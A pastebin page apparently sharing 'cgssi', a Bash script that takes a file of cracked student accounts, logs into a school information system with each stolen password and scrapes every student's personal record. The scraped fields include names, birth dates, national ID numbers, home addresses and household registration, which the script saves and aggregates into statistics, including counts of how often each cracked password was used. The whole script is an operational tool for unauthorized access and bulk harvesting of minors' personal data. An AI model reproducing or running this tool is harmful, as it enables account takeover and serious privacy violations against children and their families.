Re: cgssi

From Queen Guinea Pig, 6 Years ago, written in Bash, viewed 847 times. This paste is a reply to cgssi from Crimson Baboon - view diff
URL https://code.nat.moe/view/e79e7e31 Embed
Download Paste or View Raw
  1. #!/bin/bash
  2.  
  3. # cgssi - Country Gadern School Student Informations
  4. # cgssi is a free software, maintaince by MagicNAT Networing
  5. # Version 0.1.1 (C) MagicNAT Networking
  6.  
  7. SSID_GEN_URL="http://127.0.0.1:8080/mis/info/menu_info.asp?type=%D1%A7%C9%FA%CD%F8%D2%B3"
  8. AUTH_URL="http://127.0.0.1:8080/mis/info/list.asp"
  9. INFO_URL="http://127.0.0.1:8080/mis/info/tea_info/stu_cxmx_p.asp?nn=%BB%F9%B1%BE%D7%CA%C1%CF"
  10. SSID_FILENAME="./.ssid.cookie"
  11. STAT_RPT_TMP="./.stat"
  12. SEARCH_TMP="./.search"
  13. OFFLINE_MODE_INDICATE="./.offline"
  14.  
  15.  
  16. CRACKED_SAVE="../cgspasswd/cracked.txt"
  17. SAVE_DIR="./info/"
  18.  
  19. function update_ssid {
  20.         echo > $OFFLINE_MODE_INDICATE
  21.         echo -n "Updateing ssid... "
  22.         curl -c $SSID_FILENAME $SSID_GEN_URL --connect-timeout 5 > /dev/null 2> /dev/null
  23.         [[ $? == "0" ]] && echo "OK" && rm $OFFLINE_MODE_INDICATE || echo "Failed! Work in offline mode"
  24. }
  25.  
  26. function search {
  27.         echo > $SEARCH_TMP
  28.         [[ -z $1 ]] && echo "search: Missing parameters" && return 1
  29.         echo -n "Searching for '$1'... "
  30.         for data in $(ls $SAVE_DIR)
  31.         do
  32.                 [[ ! -z $(cat $SAVE_DIR$data | grep $1) ]] && echo $data >> $SEARCH_TMP
  33.         done
  34.         echo "Done"
  35.         for data in $(cat $SEARCH_TMP)
  36.         do
  37.                 cat $SAVE_DIR$data | less
  38.         done
  39. }
  40.  
  41. function dstat {
  42.         [[ -z $1 ]] && echo "dstat: Missing parameter" && return 1
  43.         rm $STAT_RPT_TMP 2> /dev/null > /dev/null
  44.         case $1 in
  45.                 class)
  46.                         echo > $STAT_RPT_TMP
  47.                         echo -e "Class informations\n================================================================================" >> $STAT_RPT_TMP
  48.                         cat $SAVE_DIR* | grep 现读班级: | awk -F": " '{print $2}' | grep 年级 | sort | uniq -c | sort -k2nr | awk '{printf("%s: %s students\n",$2,$1)}END{print}' | sort -rnk2 | grep students >> $STAT_RPT_TMP
  49.                         echo >> $STAT_RPT_TMP
  50.                 ;;
  51.                 join)
  52.                         echo > $STAT_RPT_TMP
  53.                         echo -e "Year joined\n================================================================================"  >> $STAT_RPT_TMP
  54.                         cat $SAVE_DIR* | grep 入校日期: | awk -F": " '{print $2}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s joined\n",$2,$1)}END{print}' | sort -rnk3 | grep joined  >> $STAT_RPT_TMP
  55.                         echo >> $STAT_RPT_TMP
  56.                 ;;
  57.                 birth)
  58.                         echo > $STAT_RPT_TMP
  59.                         echo -e "Year birth\n================================================================================" > $STAT_RPT_TMP
  60.         cat $SAVE_DIR* | grep 出生年月: | awk -F": " '{print $2}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort -rnk3 | grep borned >> $STAT_RPT_TMP
  61.                         echo >> $STAT_RPT_TMP
  62.                 ;;
  63.                 *)
  64.                         echo "dstat: Can't stat $1"
  65.                 ;;
  66.         esac
  67.         [[ -e $STAT_RPT_TMP ]] &&cat $STAT_RPT_TMP | less
  68. }
  69.  
  70. function stat {
  71.         echo -n "Generating stat report"
  72.         echo > $STAT_RPT_TMP
  73.         echo -n "."
  74.         echo -e "Overall\n================================================================================" >> $STAT_RPT_TMP
  75.         echo "Currently $(ls -l $SAVE_DIR | grep -v ^l | wc -l | sed -e 's/ //g') records in database." >> $STAT_RPT_TMP
  76.         echo "Size: $(du -h $SAVE_DIR | sed -e 's/\.\/.*\///' | sed -e 's/ //g')"  >> $STAT_RPT_TMP
  77.         echo >> $STAT_RPT_TMP
  78.         echo -n "."
  79.         echo -e "Sex\n================================================================================" >> $STAT_RPT_TMP
  80.         echo "Males: $(cat $SAVE_DIR* | grep "性别: 男" | sort | uniq -c | sort -k2nr | awk '{printf("%s \n",$1)}END{print}' | tr "\n" " " | sed -e "s/ 性别: 男//" | awk -F" " '{print $1}') students in database" >> $STAT_RPT_TMP
  81.         echo "Females: $(cat $SAVE_DIR* | grep "性别: 女" | sort | uniq -c | sort -k2nr | awk '{printf("%s \n",$1)}END{print}' | tr "\n" " " | sed -e "s/ 性别: 女//" | awk -F" " '{print $1}') students in database" >> $STAT_RPT_TMP
  82.         echo >> $STAT_RPT_TMP
  83.         echo -n "."
  84.         echo -e "Year joined\n================================================================================" >> $STAT_RPT_TMP
  85.         cat $SAVE_DIR* | grep 入校日期: | awk -F": " '{print $2}' | awk -F- '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s joined\n",$2,$1)}END{print}' | sort -rnk3 | grep joined >> $STAT_RPT_TMP
  86.         echo >> $STAT_RPT_TMP
  87.         echo -n "."
  88.         echo -e "Year birth\n================================================================================" >> $STAT_RPT_TMP
  89.         cat $SAVE_DIR* | grep 出生年月: | awk -F": " '{print $2}' | awk -F- '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort -rnk3 | grep borned >> $STAT_RPT_TMP
  90.         echo >> $STAT_RPT_TMP
  91.         echo >> $STAT_RPT_TMP
  92.         echo -n "."
  93.         echo -e "Drpartment\n================================================================================" >> $STAT_RPT_TMP
  94.         echo "International section: $(cat $SAVE_DIR* | grep 现读 | grep 国际部 | awk -F: '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort | tr "\n" " " | sed -e "s/ 现读班级//" | awk -F" " '{print $1}') studnets in database" >> $STAT_RPT_TMP
  95.         echo "High school section: $(cat $SAVE_DIR* | grep 现读 | grep 高中部 | awk -F: '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort | tr "\n" " " | sed -e "s/ 现读班级//" | awk -F" " '{print $1}') studnets in database" >> $STAT_RPT_TMP
  96.         echo "Jounier high section: $(cat $SAVE_DIR*  | grep 现读 | grep 初中部 | awk -F: '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort | tr "\n" " " | sed -e "s/ 现读班级//" | awk -F" " '{print $1}') studnets in database" >> $STAT_RPT_TMP
  97.         echo "Kindergarten: $(cat $SAVE_DIR*  | grep 现读 | grep 幼儿园 | awk -F: '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort | tr "\n" " " | sed -e "s/ 现读班级//" | awk -F" " '{print $1}') studnets in database" >> $STAT_RPT_TMP
  98.         echo "Oversea section: $(cat $SAVE_DIR*  | grep 现读 | grep 留学部 | awk -F: '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort | tr "\n" " " | sed -e "s/ 现读班级//" | awk -F" " '{print $1}') studnets in database" >> $STAT_RPT_TMP
  99.         echo  >> $STAT_RPT_TMP
  100.         echo -n "."
  101.         echo -e "Class informations\n================================================================================" >> $STAT_RPT_TMP
  102.         cat $SAVE_DIR* | grep 现读班级: | awk -F": " '{print $2}' | awk -F"(" '{print $1}' | grep 年级 | sort | uniq -c | sort -k2nr | awk '{printf("%s: %s students\n",$2,$1)}END{print}' | sort -rnk2 | grep students >> $STAT_RPT_TMP
  103.         echo  >> $STAT_RPT_TMP
  104.         echo -n "."
  105.         echo -e "Card type\n================================================================================" >> $STAT_RPT_TMP
  106.         echo "天天接送: $(cat $SAVE_DIR* | grep 接送卡 | grep 天天接送 | awk -F: '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort | tr "\n" " " | sed -e "s/ 接送卡//" | awk -F" " '{print $1}') students" >> $STAT_RPT_TMP
  107.         echo "天天自由出入: $(cat $SAVE_DIR* | grep 接送卡 | grep 天天自由出入 | awk -F: '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort | tr "\n" " " | sed -e "s/ 接送卡//" | awk -F" " '{print $1}') students"  >> $STAT_RPT_TMP
  108.         echo "普通接送: $(cat $SAVE_DIR* | grep 接送卡 | grep 普通方式接送 | awk -F: '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort | tr "\n" " " | sed -e "s/ 接送卡//" | awk -F" " '{print $1}') students"  >> $STAT_RPT_TMP
  109.         echo "节假日自由出入: $(cat $SAVE_DIR* | grep 接送卡 | grep 节假日自由出入 | awk -F: '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort | tr "\n" " " | sed -e "s/ 接送卡//" | awk -F" " '{print $1}') students"  >> $STAT_RPT_TMP
  110.         echo >> $STAT_RPT_TMP
  111.         echo -n "."
  112.         echo -e "Hometown\n================================================================================" >> $STAT_RPT_TMP
  113.         cat $SAVE_DIR* | awk -F"籍贯: " '{print $2}' | grep| awk -F"省" '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("%s: %s students\n",$2,$1)}END{print}'  | sort -k2nr |  grep students >> $STAT_RPT_TMP
  114.         echo >> $STAT_RPT_TMP
  115.         echo -n "."
  116.         echo -e "Password usage\n================================================================================" >> $STAT_RPT_TMP
  117.         cat $CRACKED_SAVE | sed -e "s/.*Type //g" | sed -e "s/ ID //g" | sed -e "s/ Password //g" | awk -F, '{print $3}' | sort | uniq -c | sort -k2nr | awk '{printf("%s used %s times\n",$2,$1)}END{print}' | sort -rnk3 | grep times >> $STAT_RPT_TMP
  118.         echo >> $STAT_RPT_TMP
  119.         echo " Done"
  120.         cat $STAT_RPT_TMP | less
  121. }
  122.  
  123. function try_acct {
  124.         [[ -z $1 ]] && return 1
  125.         [[ ! -e $SSID_FILENAME ]] && return 1
  126.         if [[ ! -z $2 ]]
  127.         then
  128.                 passwd=$2
  129.         else
  130.                 ACCT=$(cat $CRACKED_SAVE | grep $1 | sed -e "s/.*Type //g" | sed -e "s/ ID //g" | sed -e "s/ Password //g" | tr " " "\n" | uniq )
  131.                 [[ $(echo $ACCT | awk -F, '{print $1}') == "stu" ]] && passwd=$(echo $ACCT | awk -F, '{print $3}')
  132.         fi
  133.         [[ ! -z $(curl -b $SSID_FILENAME --data "tbarno=$1&passwd=$passwd&hd=002" $AUTH_URL 2> /dev/null | iconv -f gbk -t utf-8 | grep 个人资料) ]] && echo "true" && return 0
  134.         echo "false" && return 1
  135. }
  136.  
  137. function fetch {
  138.         [[ -e $OFFLINE_MODE_INDICATE ]] && echo "fetch: Can't fetch in offline mode." && return 1
  139.         [[ ! -e $CRACKED_SAVE ]] && echo "fetch_form_cracked: Cracked account file $CRACKED_SAVE not exist." && return 1
  140.         ACCTLIST=$(cat $CRACKED_SAVE | sed -e "s/.*Type //g" | sed -e "s/ ID //g" | sed -e "s/ Password //g")
  141.         for acct in $ACCTLIST
  142.         do
  143.                 typ=$(echo $acct | awk -F, '{print $1}')
  144.                 id=$(echo $acct | awk -F, '{print $2}')
  145.                 passwd=$(echo $acct | awk -F, '{print $3}')
  146.                 [[ $typ == "stu" ]] && echo -n "[$(date)] Fetching informations for $id... " && view $id $passwd > /dev/null && echo "Ok"
  147.         done
  148. }
  149.  
  150. function view {
  151.         [[ -z $1 ]] && echo "view: Missing parameter" && return 1
  152.         [[ -e $SAVE_DIR$1.txt ]] && echo "view: View from cache..." && cat $SAVE_DIR$1.txt | less && return 0
  153.         [[ -e $OFFLINE_MODE_INDICATE ]] && echo "view: Cannot view uncahed data in offline mode." && return 1
  154.         echo -n "view: Auth and fetch... "
  155.         if [[ $(try_acct $*) == "false" ]]
  156.         then
  157.                 [[ -z $2 ]] && echo "view: Failed to auth. Unknow password." && return 1
  158.                 echo "view: Failed to auth. Incorrect ID or password."
  159.                 return 1
  160.         fi
  161.         raw=$(curl -b $SSID_FILENAME $INFO_URL 2> /dev/null | iconv -f gbk -t utf-8 2> /dev/null | sed -e :a -e 's/<[^>]*>/|/g;/</N;//ba' | sed -e "s/\&nbsp;//g" )
  162.         echo > $SAVE_DIR$1.txt
  163.         echo "账户 $1 的基本信息" >> $SAVE_DIR$1.txt
  164.         echo "================================================================================" >> $SAVE_DIR$1.txt
  165.         echo "姓名: $(echo $raw | awk -F"姓名" '{print $2}' | awk -F"性别" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
  166.         echo "性别: $(echo $raw | awk -F"性别" '{print $2}' | awk -F"入校日期" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
  167.         echo "入校日期: $(echo $raw | awk -F"入校日期" '{print $2}' | awk -F"简称" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
  168.         echo "入校班级: $(echo $raw | awk -F"入校班级" '{print $2}' | awk -F"公司编号" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
  169.         echo "现读班级: $(echo $raw | awk -F"现在班级" '{print $2}' | awk -F"离校时间" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
  170.         echo "接送卡:$(echo $raw | awk -F"接送卡" '{print $2}' | awk -F"学生档案表" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
  171.         echo >> $SAVE_DIR$1.txt
  172.         echo >> $SAVE_DIR$1.txt
  173.         echo "账户 $1 的个人信息" >> $SAVE_DIR$1.txt
  174.         echo "================================================================================" >> $SAVE_DIR$1.txt
  175.         echo "民族:$(echo $raw | awk -F"民族" '{print $2}' | awk -F"籍贯" '{print $1}' | sed -e "s/|//g" )" >> $SAVE_DIR$1.txt
  176.         echo "籍贯:$(echo $raw | awk -F"籍贯" '{print $2}' | awk -F"出生日期" '{print $1}' | sed -e "s/|//g" )" >> $SAVE_DIR$1.txt
  177.         echo "出生年月:$(echo $raw | awk -F"出生日期" '{print $2}' | awk -F"烈军属" '{print $1}' | sed -e "s/|//g" )" >> $SAVE_DIR$1.txt
  178.         echo "烈士军属:$(echo $raw | awk -F"烈军属" '{print $2}' | awk -F"政治面貌" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
  179.         echo "政治面貌:$(echo $raw | awk -F"政治面貌" '{print $2}' | awk -F"侨属" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
  180.         echo "侨属:$(echo $raw | awk -F"侨属" '{print $2}' | awk -F"身份证号" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
  181.         echo "身份证:$(echo $raw | awk -F"身份证号" '{print $2}' | awk -F"原读学校" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
  182.         echo "原就读于:$(echo $raw | awk -F"原读学校" '{print $2}' | awk -F"现在住址" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
  183.         echo "现居地: $(echo $raw | awk -F"现在住址" '{print $2}' | awk -F"邮政编码" '{print $1}' | sed -e "s/|//g" | sed -e "s/ //g" | sed -e "s/省//" | sed -e "s/市//" | sed -e "s/区//" | sed -e "s/镇//" )" >> $SAVE_DIR$1.txt
  184.         echo "邮编:$(echo $raw | awk -F"邮政编码" '{print $2}' | awk -F"所在居委会" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
  185.         echo "所在居委会:$(echo $raw | awk -F"所在居委会" '{print $2}' | awk -F"户籍" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
  186.         echo "户籍:$(echo $raw | awk -F"户籍" '{print $2}' | awk -F"区 域" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
  187.         echo "区域:$(echo $raw | awk -F"区 域" '{print $2}' | awk -F"类型" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
  188.         echo "类型:$(echo $raw | awk -F"类型" '{print $2}' | awk -F"户口所在" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
  189.         echo "户口所在地:$(echo $raw | awk -F"户口所在地" '{print $2}' | awk -F"户 号" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
  190.         echo "户口号:$(echo $raw | awk -F"户 号" '{print $2}' | awk -F"户主" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
  191.         echo "户主:$(echo $raw | awk -F"户主" '{print $2}' | awk -F"所属派出所" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
  192.         echo "所属派出所:$(echo $raw | awk -F"所属派出所" '{print $2}' | awk -F"居委会" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
  193.         echo  >> $SAVE_DIR$1.txt
  194.         echo "Ok"
  195.         cat $SAVE_DIR$1.txt | less && return 0
  196. }
  197.  
  198. function help {
  199.         echo
  200.         echo " cgssi - Country Gadern School Student Informations"
  201.         echo " cgssi is a free software, maintaince by MagicNAT Networing"
  202.         echo " Version 0.1 (C) MagicNAT Networking"
  203.         echo
  204.         echo " Avaiable commands: view, fetch, search, stat, dstat"
  205.         echo
  206.         echo " Usage: view <id> [passwd]"
  207.         echo " view: View the information of given id. If passwd undefined, cgssi will search"
  208.         echo " password from cgspasswd cracked accounts"
  209.         echo
  210.         echo " Usage: fetch"
  211.         echo " fetch: Fecth all info for id in cgspasswd cracked accounts"
  212.         echo
  213.         echo " Usage: search <keyword>"
  214.         echo " search: Search all data for given keyword"
  215.         echo
  216.         echo " Usage: stat"
  217.         echo " stat: Stat all datas and show a brief summary"
  218.         echo
  219.         echo " Usage: dstat <birth/join/class>"
  220.         echo " dstat: Stat some data in detiled"
  221.         echo
  222. }
  223.  
  224. function interactive {
  225.         echo "cgssi 0.1 (Interactive mode) "
  226.         echo "Copyright 2014 MagicNAT Networking"
  227.         echo "This is free software with ABSOLUTELY NO WARRANTY."
  228.         echo "type help for help"
  229.         while true
  230.         do
  231.                 echo -n "cgssi> "; read cmd;
  232.                 if [[ ! -z $cmd ]]
  233.                 then
  234.                         exe=$(echo $cmd | awk '{print $1}')
  235.                         if ! type "$exe" > /dev/null 2> /dev/null
  236.                         then
  237.                                 echo "cgssi: command not found: $exe"
  238.                         else
  239.                                 $cmd
  240.                         fi
  241.                 fi
  242.         done
  243. }
  244.  
  245. function main {
  246.         case $1 in
  247.                 -o|--offline)
  248.                         echo > $OFFLINE_MODE_INDICATE
  249.                         echo "cgssi: Work in offline mode"
  250.                         [[ -z $2 ]] && interactive
  251.                         $2 $3 $4
  252.                 ;;
  253.                 *)
  254.                         update_ssid
  255.                         [[ -z $2 ]] && interactive
  256.                         $1 $2 $3
  257.                 ;;
  258.         esac
  259. }
  260.  
  261. main $*

Reply to "Re: cgssi"

Here you can reply to the paste above

captcha